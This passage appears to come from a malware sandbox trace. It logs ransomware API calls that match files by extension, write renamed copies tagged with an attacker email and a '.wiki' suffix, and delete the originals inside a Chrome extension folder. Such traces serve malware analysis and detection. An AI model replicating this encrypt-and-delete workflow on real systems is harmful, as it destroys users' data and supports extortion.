HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\images\\topbar_floating_button_hover.png") returned 169 [0178.102] lstrlenW (lpString=".dbf") returned 4 [0178.102] lstrcmpiW (lpString1=".dbf", lpString2=".png") returned -1 [0178.102] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\images\\topbar_floating_button_hover.png") returned 169 [0178.102] lstrlenW (lpString=".1cd") returned 4 [0178.102] lstrcmpiW (lpString1=".1cd", lpString2=".png") returned -1 [0178.102] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\images\\topbar_floating_button_hover.png") returned 169 [0178.102] lstrlenW (lpString=".jpg") returned 4 [0178.102] lstrcmpiW (lpString1=".jpg", lpString2=".png") returned -1 [0178.103] lstrcmpiW (lpString1=".png", lpString2=".wiki") returned -1 [0178.103] lstrlenW (lpString="topbar_floating_button_maximize.png") returned 35 [0178.103] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\images\\topbar_floating_button_maximize.png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\images\\topbar_floating_button_maximize.png"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x19c [0178.103] GetFileSizeEx (in: hFile=0x19c, lpFileSize=0x2d2ff1c | out: lpFileSize=0x2d2ff1c*=166) returned 1 [0178.103] CloseHandle (hObject=0x19c) returned 1 [0178.103] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\images\\topbar_floating_button_maximize.png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\images\\topbar_floating_button_maximize.png")) returned 0x2020 [0178.103] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\images\\topbar_floating_button_maximize.png.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\images\\topbar_floating_button_maximize.png.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0178.103] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\images\\topbar_floating_button_maximize.png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\images\\topbar_floating_button_maximize.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x19c [0178.103] SetFilePointerEx (in: hFile=0x19c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d2fec8 | out: lpNewFilePointer=0x0) returned 1 [0178.104] SetFilePointerEx (in: hFile=0x19c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d2fec8 | out: lpNewFilePointer=0x0) returned 1 [0178.104] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\images\\topbar_floating_button_maximize.png.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\images\\topbar_floating_button_maximize.png.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x160 [0178.104] GetLastError () returned 0x0 [0178.104] ReadFile (in: hFile=0x19c, lpBuffer=0x38e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d2fed4, lpOverlapped=0x0 | out: lpBuffer=0x38e0020*, lpNumberOfBytesRead=0x2d2fed4*=0xa6, lpOverlapped=0x0) returned 1 [0178.105] WriteFile (in: hFile=0x160, lpBuffer=0x38e0020*, nNumberOfBytesToWrite=0xb0, lpNumberOfBytesWritten=0x2d2fc9c, lpOverlapped=0x0 | out: lpBuffer=0x38e0020*, lpNumberOfBytesWritten=0x2d2fc9c*=0xb0, lpOverlapped=0x0) returned 1 [0178.106] ReadFile (in: hFile=0x19c, lpBuffer=0x38e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d2fed4, lpOverlapped=0x0 | out: lpBuffer=0x38e0020*, lpNumberOfBytesRead=0x2d2fed4*=0x0, lpOverlapped=0x0) returned 1 [0178.106] WriteFile (in: hFile=0x160, lpBuffer=0x38e0020*, nNumberOfBytesToWrite=0x11a, lpNumberOfBytesWritten=0x2d2fc9c, lpOverlapped=0x0 | out: lpBuffer=0x38e0020*, lpNumberOfBytesWritten=0x2d2fc9c*=0x11a, lpOverlapped=0x0) returned 1 [0178.106] SetEndOfFile (hFile=0x160) returned 1 [0178.106] CloseHandle (hObject=0x160) returned 1 [0178.106] SetFilePointerEx (in: hFile=0x19c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d2fec8 | out: lpNewFilePointer=0x0) returned 1 [0178.106] SetEndOfFile (hFile=0x19c) returned 1 [0178.107] CloseHandle (hObject=0x19c) returned 1 [0178.107] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\images\\topbar_floating_button_maximize.png.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x2020) returned 1 [0178.107] DeleteFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\images\\topbar_floating_button_maximize.png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\images\\topbar_floating_button_maximize.png")) returned 1 [0178.108] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\images\\topbar_floating_button_maximize.png") returned 172 [0178.108] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\images\\topbar_floating_button_maximize.png") returned 172 [0178.108] lstrlenW (lpString=".doc") returned 4 [0178.108] lstrcmpiW (lpString1=".doc", lpString2=".png") returned -1 [0178.108] lstrlenW (lpString=".docx") returned 5 [0178.108] lstrcmpiW (lpString1=".docx", lpString2="e.png") returned -1 [0178.108] lstrlenW (lpString=".pdf") returned 4 [0178.108] lstrcmpiW (lpString1=".pdf", lpString2=".png") returned -1 [0178.108] lstrlenW (lpString=".xls") returned 4 [0178.108] lstrcmpiW (lpString1=".xls", lpString2=".png") returned 1 [0178.108] lstrlenW (lpString=".xlsx") returned 5 [0178.108] lstrcmpiW (lpString1=".xlsx", lpString2="e.png") returned -1 [0178.108] lstrlenW (lpString=".ppt") returned 4 [0178.108] lstrcmpiW (lpString1=".ppt", lpString2=".png") returned 1 [0178.108] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\images\\topbar_floating_button_maximize.png") returned 172 [0178.108] lstrlenW (lpString=".zip") returned 4 [0178.108] lstrcmpiW (lpString1=".zip", lpString2=".png") returned 1 [0178.108] lstrlenW (lpString=".rar") returned 4 [0178.108] lstrcmpiW (lpString1=".rar", lpString2=".png") returned 1 [0178.108] lstrlenW (lpString=".bz2") returned 4 [0178.108] lstrcmpiW (lpString1=".bz2", lpString2=".png") returned -1 [0178.108] lstrlenW (lpString=".7z") returned 3 [0178.108] lstrcmpiW (lpString1=".7z", lpString2="png") returned -1 [0178.108] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\images\\topbar_floating_button_maximize.png") returned 172 [0178.108] lstrlenW (lpString=".dbf") returned 4 [0178.109] lstrcmpiW (lpString1=".dbf", lpString2=".png") returned -1 [0178.109] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\images\\topbar_floating_button_maximize.png") returned 172 [0178.109] lstrlenW (lpString=".1cd") returned 4 [0178.109] lstrcmpiW (lpString1=".1cd", lpString2=".png") returned -1 [0178.109] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\images\\topbar_floating_button_maximize.png") returned 172 [0178.109] lstrlenW (lpString=".jpg") returned 4 [0178.109] lstrcmpiW (lpString1=".jpg", lpString2=".png") returned -1 [0178.109] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\images\\topbar_floating_button_maximize.png") returned 172 [0178.109] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\images\\topbar_floating_button_maximize.png") returned 172 [0178.109] lstrlenW (lpString=".doc") returned 4 [0178.109] lstrcmpiW (lpString1=".doc", lpString2=".png") returned -1 [0178.109] lstrlenW (lpString=".docx") returned 5 [0178.109] lstrcmpiW (lpString1=".docx", lpString2="e.png") returned -1 [0178.109] lstrlenW (lpString=".pdf") returned 4 [0178.109] lstrcmpiW (lpString1=".pdf", lpString2=".png") returned -1 [0178.109] lstrlenW (lpString=".xls") returned 4 [0178.109] lstrcmpiW (lpString1=".xls", lpString2=".png") returned 1 [0178.109] lstrlenW (lpString=".xlsx") returned 5 [0178.109] lstrcmpiW (lpString1=".xlsx", lpString2="e.png") returned -1 [0178.109] lstrlenW (lpString=".ppt") returned 4 [0178.109] lstrcmpiW (lpString1=".ppt", lpString2=".png") returned 1 [0178.109] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\images\\topbar_floating_button_maximize.png") returned 172 [0178.109] lstrlenW (lpString=".zip") returned 4 [0178.109] lstrcmpiW (lpString1=".zip", lpString2=".png") returned 1 [0178.109] lstrlenW (lpString=".rar") returned 4 [0178.109] lstrcmpiW (lpString1=".rar", lpString2=".png") returned 1 [0178.109] lstrlenW (lpString=".bz2") returned 4 [0178.109] lstrcmpiW (lpString1=".bz2", lpString2=".png") returned -1 [0178.109] lstrlenW (lpString=".7z") returned 3 [0178.110] lstrcmpiW (lpString1=".7z", lpString2="png") returned -1 [0178.110] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\images\\topbar_floating_button_maximize.png") returned 172 [0178.110] lstrlenW (lpString=".dbf") returned 4 [0178.110] lstrcmpiW (lpString1=".dbf", lpString2=".png") returned -1 [0178.110] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\images\\topbar_floating_button_maximize.png") returned 172 [0178.110] lstrlenW (lpString=".1cd") returned 4 [0178.110] lstrcmpiW (lpString1=".1cd", lpString2=".png") returned -1 [0178.110] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\images\\topbar_floating_button_maximize.png") returned 172 [0178.110] lstrlenW (lpString=".jpg") returned 4 [0178.110] lstrcmpiW (lpString1=".jpg", lpString2=".png") returned -1 [0178.110] lstrcmpiW (lpString1=".png", lpString2=".wiki") returned -1 [0178.110] lstrlenW (lpString="topbar_floating_button_pressed.png") returned 34 [0178.110] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\images\\topbar_floating_button_pressed.png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\images\\topbar_floating_button_pressed.png"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x19c [0178.110] GetFileSizeEx (in: hFile=0x19c, lpFileSize=0x2d2ff1c | out: lpFileSize=0x2d2ff1c*=160) returned 1 [0178.111] CloseHandle (hObject=0x19c) returned 1 [0178.111] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\images\\topbar_floating_button_pressed.png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\images\\topbar_floating_button_pressed.png")) returned 0x2020 [0178.111] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\images\\topbar_floating_button_pressed.png.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\images\\topbar_floating_button_pressed.png.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0178.111] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\images\\topbar_floating_button_pressed.png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\images\\topbar_floating_button_pressed.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x19c [0178.111] SetFilePointerEx (in: hFile=0x19c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d2fec8 | out: lpNewFilePointer=0x0) returned 1 [0178.111] SetFilePointerEx (in: hFile=0x19c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d2fec8 | out: lpNewFilePointer=0x0) returned 1 [0178.111] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\images\\topbar_floating_button_pressed.png.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\images\\topbar_floating_button_pressed.png.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x160 [0178.111] GetLastError () returned 0x0 [0178.112] ReadFile (in: hFile=0x19c, lpBuffer=0x38e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d2fed4, lpOverlapped=0x0 | out: lpBuffer=0x38e0020*, lpNumberOfBytesRead=0x2d2fed4*=0xa0, lpOverlapped=0x0) returned 1 [0178.113] WriteFile (in: hFile=0x160, lpBuffer=0x38e0020*, nNumberOfBytesToWrite=0xb0, lpNumberOfBytesWritten=0x2d2fc9c, lpOverlapped=0x0 | out: lpBuffer=0x38e0020*, lpNumberOfBytesWritten=0x2d2fc9c*=0xb0, lpOverlapped=0x0) returned 1 [0178.113] ReadFile (in: hFile=0x19c, lpBuffer=0x38e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d2fed4, lpOverlapped=0x0 | out: lpBuffer=0x38e0020*, lpNumberOfBytesRead=0x2d2fed4*=0x0, lpOverlapped=0x0) returned 1 [0178.114] WriteFile (in: hFile=0x160, lpBuffer=0x38e0020*, nNumberOfBytesToWrite=0x118, lpNumberOfBytesWritten=0x2d2fc9c, lpOverlapped=0x0 | out: lpBuffer=0x38e0020*, lpNumberOfBytesWritten=0x2d2fc9c*=0x118, lpOverlapped=0x0) returned 1 [0178.114] SetEndOfFile (hFile=0x160) returned 1 [0178.114] CloseHandle (hObject=0x160) returned 1 [0178.114] SetFilePointerEx (in: hFile=0x19c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d2fec8 | out: lpNewFilePointer=0x0) returned 1 [0178.114] SetEndOfFile (hFile=0x19c) returned 1 [0178.115] CloseHandle (hObject=0x19c) returned 1 [0178.115] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\images\\topbar_floating_button_pressed.png.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x2020) returned 1 [0178.115] DeleteFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\images\\topbar_floating_button_pressed.png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\images\\topbar_floating_button_pressed.png")) returned 1 [0178.115] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\images\\topbar_floating_button_pressed.png") returned 171 [0178.115] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\images\\topbar_floating_button_pressed.png") returned 171 [0178.115] lstrlenW (lpString=".doc") returned 4 [0178.115] lstrcmpiW (lpString1=".doc", lpString2=".png") returned -1 [0178.115] lstrlenW (lpString=".docx") returned 5 [0178.115] lstrcmpiW (lpString1=".docx", lpString2="d.png") returned -1 [0178.115] lstrlenW (lpString=".pdf") returned 4 [0178.115] lstrcmpiW (lpString1=".pdf", lpString2=".png") returned -1 [0178.115] lstrlenW (lpString=".xls") returned 4 [0178.115] lstrcmpiW (lpString1=".xls", lpString2=".png") returned 1 [0178.115] lstrlenW (lpString=".xlsx") returned 5 [0178.115] lstrcmpiW (lpString1=".xlsx", lpString2="d.png") returned -1 [0178.116] lstrlenW (lpString=".ppt") returned 4 [0178.116] lstrcmpiW (lpString1=".ppt", lpString2=".png") returned 1 [0178.116] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\images\\topbar_floating_button_pressed.png") returned 171 [0178.116] lstrlenW (lpString=".zip") returned 4 [0178.116] lstrcmpiW (lpString1=".zip", lpString2=".png") returned 1 [0178.116] lstrlenW (lpString=".rar") returned 4 [0178.116] lstrcmpiW (lpString1=".rar", lpString2=".png") returned 1 [0178.116] lstrlenW (lpString=".bz2") returned 4 [0178.116] lstrcmpiW (lpString1=".bz2", lpString2=".png") returned -1 [0178.116] lstrlenW (lpString=".7z") returned 3 [0178.116] lstrcmpiW (lpString1=".7z", lpString2="png") returned -1 [0178.116] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\images\\topbar_floating_button_pressed.png") returned 171 [0178.116] lstrlenW (lpString=".dbf") returned 4 [0178.116] lstrcmpiW (lpString1=".dbf", lpString2=".png") returned -1 [0178.116] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\images\\topbar_floating_button_pressed.png") returned 171 [0178.116] lstrlenW (lpString=".1cd") returned 4 [0178.116] lstrcmpiW (lpString1=".1cd", lpString2=".png") returned -1 [0178.116] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\images\\topbar_floating_button_pressed.png") returned 171 [0178.116] lstrlenW (lpString=".jpg") returned 4 [0178.116] lstrcmpiW (lpString1=".jpg", lpString2=".png") returned -1 [0178.116] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\images\\topbar_floating_button_pressed.png") returned 171 [0178.116] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\images\\topbar_floating_button_pressed.png") returned 171 [0178.116] lstrlenW (lpString=".doc") returned 4 [0178.116] lstrcmpiW (lpString1=".doc", lpString2=".png") returned -1 [0178.116] lstrlenW (lpString=".docx") returned 5 [0178.116] lstrcmpiW (lpString1=".docx", lpString2="d.png") returned -1 [0178.116] lstrlenW (lpString=".pdf") returned 4 [0178.116] lstrcmpiW (lpString1=".pdf", lpString2=".png") returned -1 [0178.117] lstrlenW (lpString=".xls") returned 4 [0178.117] lstrcmpiW (lpString1=".xls", lpString2=".png") returned 1 [0178.117] lstrlenW (lpString=".xlsx") returned 5 [0178.117] lstrcmpiW (lpString1=".xlsx", lpString2="d.png") returned -1 [0178.117] lstrlenW (lpString=".ppt") returned 4 [0178.117] lstrcmpiW (lpString1=".ppt", lpString2=".png") returned 1 [0178.117] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\images\\topbar_floating_button_pressed.png") returned 171 [0178.117] lstrlenW (lpString=".zip") returned 4 [0178.117] lstrcmpiW (lpString1=".zip", lpString2=".png") returned 1 [0178.117] lstrlenW (lpString=".rar") returned 4 [0178.117] lstrcmpiW (lpString1=".rar", lpString2=".png") returned 1 [0178.117] lstrlenW (lpString=".bz2") returned 4 [0178.117] lstrcmpiW (lpString1=".bz2", lpString2=".png") returned -1 [0178.117] lstrlenW (lpString=".7z") returned 3 [0178.117] lstrcmpiW (lpString1=".7z", lpString2="png") returned -1 [0178.117] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\images\\topbar_floating_button_pressed.png") returned 171 [0178.117] lstrlenW (lpString=".dbf") returned 4 [0178.117] lstrcmpiW (lpString1=".dbf", lpString2=".png") returned -1 [0178.117] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\images\\topbar_floating_button_pressed.png") returned 171 [0178.117] lstrlenW (lpString=".1cd") returned 4 [0178.117] lstrcmpiW (lpString1=".1cd", lpString2=".png") returned -1 [0178.117] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\images\\topbar_floating_button_pressed.png") returned 171 [0178.117] lstrlenW (lpString=".jpg") returned 4 [0178.117] lstrcmpiW (lpString1=".jpg", lpString2=".png") returned -1 [0178.117] lstrcmpiW (lpString1=".json", lpString2=".wiki") returned -1 [0178.117] lstrlenW (lpString="manifest.json") returned 13 [0178.118] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\manifest.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\manifest.json"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x19c [0178.118] GetFileSizeEx (in: hFile=0x19c, lpFileSize=0x2d2ff1c | out: lpFileSize=0x2d2ff1c*=1322) returned 1 [0178.118] CloseHandle (hObject=0x19c) returned 1 [0178.118] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\manifest.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\manifest.json")) returned 0x2020 [0178.118] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\manifest.json.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\manifest.json.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0178.118] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\manifest.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user 